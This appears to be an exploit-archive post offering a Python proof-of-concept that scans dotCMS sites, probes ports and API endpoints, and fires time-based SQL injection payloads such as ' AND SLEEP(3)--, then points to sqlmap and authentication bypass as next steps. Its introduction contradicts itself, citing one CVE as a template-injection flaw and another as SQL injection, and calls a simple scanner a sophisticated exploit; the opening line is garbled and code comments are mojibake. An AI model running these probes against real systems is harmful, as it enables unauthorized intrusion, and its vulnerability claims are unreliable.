The "dotCMS 25.07.02-1 Security Scanner" refers to automated tools used The "dotCMS 25.07.02-1 Security Scanner" refers to automated tools used to detect vulnerabilities within this specific Content Management System version.
Primarily, it's associated with identifying CVE-2024-2337, a critical Server-Side Template Injection (SSTI) flaw. Security scanners (like commercial solutions or OWASP ZAP) probe dotCMS instances for patterns indicative of this vulnerability.
This flaw allows unauthenticated remote code execution, posing a severe risk. Upon detection, the scanner flags this high-severity issue, alerting administrators. It underscores the necessity of regular security assessments and prompt patching to safeguard dotCMS deployments.
=============================================================================================================================================
| # Title : dotCMS 25.07.02-1 Security Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.dotcms.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211125/ & CVE-2025-8311
[+] Summary : This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems.
[+] Usage : * : Save as: poc.py
Run : python poc.py
[+] POC :
#!/usr/bin/env python3
"""
dotCMS SQL Injection Scanner
"""
import sys
import time
import socket
import requests
import argparse
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class SimpleDotCMSScanner:
def __init__(self, target):
self.target = target
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 10
# ????? ???????? ??????? ??dotCMS
self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888]
# ????? ??subdomains ??????
self.common_subdomains = [
"demo", "test", "dev", "staging",
"admin", "portal", "cms", "dotcms"
]
# ????? ??paths ?????
self.common_paths = [
"/", "/dotAdmin/", "/html/", "/c/",
"/api/v1/", "/api/", "/application/",
"/admin/", "/login", "/signin"
]
def test_port(self, host, port):
"""?????? ??? ??? ?????? ???????"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False
def discover_dotcms(self):
"""?????? ????? dotCMS"""
print("\n? Discovering dotCMS configuration...")
# ????? ?????
target = self.target.lower().strip()
results = {
"host": "",
"port": None,
"protocol": "https",
"base_url": "",
"accessible": False
}
# ????? ?????
if "://" in target:
parsed = urlparse(target)
host = parsed.netloc
if ":" in host:
host, port = host.split(":", 1)
port = int(port)
else:
port = None
else:
host = target
port = None
# ????? www ??? ??? ???????
if host.startswith("www."):
host = host[4:]
results["host"] = host
# ????? ??????
if port:
results["port"] = port
else:
# ?????? ??????? ???????
for port in self.common_ports:
if self.test_port(host, port):
print(f" ? Port {port} is open")
results["port"] = port
break
if not results["port"]:
print(" ? No open ports found")
return results
# ?????? ????????????
protocols = ["https", "http"]
for protocol in protocols:
base_url = f"{protocol}://{host}:{results['port']}"
# ?????? ???????
for path in self.common_paths[:3]: # ??? 3 ??? ??????
url = base_url + path
try:
response = self.session.get(url, timeout=5)
if response.status_code < 500:
print(f" ? {protocol.upper()} accessible at {url}")
results["protocol"] = protocol
results["base_url"] = base_url
results["accessible"] = True
# ?????? ?? ???? dotCMS
if "dotcms" in response.text.lower():
print(f" ? dotCMS detected!")
elif "dotadmin" in response.text.lower():
print(f" ? dotAdmin detected!")
return results
except Exception as e:
continue
return results
def find_public_apis(self, base_url):
"""????? ?? ?????? API ????"""
print("\n? Searching for public APIs...")
api_endpoints = [
"/api/v1/system/status",
"/api/v1/version",
"/api/v1/sites",
"/api/v1/content",
"/api/v1/nav",
"/api/v1/menu",
"/api/v1/widgets",
"/api/v1/containers",
"/api/v1/templates"
]
found_apis = []
for endpoint in api_endpoints:
url = base_url + endpoint
try:
response = self.session.get(url, timeout=5)
if response.status_code == 200:
print(f" ? Public API: {endpoint}")
found_apis.append({
"url": url,
"status": response.status_code,
"content_type": response.headers.get('Content-Type', ''),
"size": len(response.content)
})
elif response.status_code in [401, 403]:
print(f" ! Protected API: {endpoint} (Auth required)")
elif response.status_code == 404:
pass # ?? ???? ???404
else:
print(f" ? API: {endpoint} (Status: {response.status_code})")
except Exception as e:
pass
return found_apis
def quick_sqli_test(self, api_url):
"""?????? ???? ??SQL Injection"""
print(f"\n? Quick SQLi test on: {api_url}")
# ?????? ???? ??Time-based SQLi
test_params = ["filter", "orderby", "sort", "id", "type"]
for param in test_params:
test_url = f"{api_url}?{param}=test"
# ?????? Time-based
payloads = [
"' AND SLEEP(3)--",
"' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--",
"') AND SLEEP(3)--"
]
for payload in payloads:
full_url = test_url + payload
try:
start = time.time()
response = self.session.get(full_url, timeout=10)
elapsed = time.time() - start
if elapsed >= 3:
print(f" ? POSSIBLE TIME-BASED SQLi in parameter: {param}")
print(f" Payload: {payload}")
print(f" Response time: {elapsed:.2f}s")
return True
except requests.exceptions.Timeout:
print(f" ? TIMEOUT - Possible SQLi in parameter: {param}")
return True
except:
pass
print(" ? No obvious SQLi detected")
return False
def scan(self):
"""????? ???????"""
print("\n" + "="*60)
print("dotCMS Security Scanner")
print("="*60)
# ?????? 1: ????????
config = self.discover_dotcms()
if not config["accessible"]:
print("\n? Cannot access the target")
print("\n? Try these alternatives:")
print(" 1. python scanner.py localhost:8443")
print(" 2. python scanner.py 127.0.0.1:8080")
print(" 3. python scanner.py your-domain.com")
return
print(f"\n? Target found:")
print(f" Host: {config['host']}")
print(f" Port: {config['port']}")
print(f" Protocol: {config['protocol']}")
print(f" Base URL: {config['base_url']}")
# ?????? 2: ????? ?? APIs
apis = self.find_public_apis(config["base_url"])
if not apis:
print("\n?? No public APIs found")
print("\n? Try these common endpoints:")
for path in self.common_paths:
print(f" {config['base_url']}{path}")
return
# ?????? 3: ?????? SQLi ??? ?? API
sql_vulnerabilities = []
for api in apis:
if self.quick_sqli_test(api["url"]):
sql_vulnerabilities.append(api["url"])
# ??? ???????
print("\n" + "="*60)
print("SCAN RESULTS")
print("="*60)
print(f"\n? Summary:")
print(f" Total APIs found: {len(apis)}")
print(f" Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}")
if sql_vulnerabilities:
print(f"\n? Vulnerable endpoints:")
for vuln in sql_vulnerabilities:
print(f" ? {vuln}")
print(f"\n? Next steps:")
print(f" 1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"")
print(f" 2. Use the full exploit script with authentication token")
print(f" 3. Check for authentication bypass methods")
else:
print(f"\n? No SQL injection vulnerabilities found in public APIs")
print(f"\n? Try authenticated endpoints if you have credentials")
def main():
parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner")
parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)")
args = parser.parse_args()
print(r"""
??????? ?????????? ??????? ??? ?????????????? ?????? ??? ??????
???????? ??????????????????????? ?????????????? ?????? ????????????
????????? ????? ?????? ?????? ?????????????????????????? ????????
???????????????????????? ?????? ?????????????????????????? ????????
?????? ??????????????????????????????????????????? ?????? ?????? ???
?????? ???????????? ??????? ??????? ??????????? ?????? ?????? ???
dotCMS Security Scanner
""")
scanner = SimpleDotCMSScanner(args.target)
scanner.scan()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================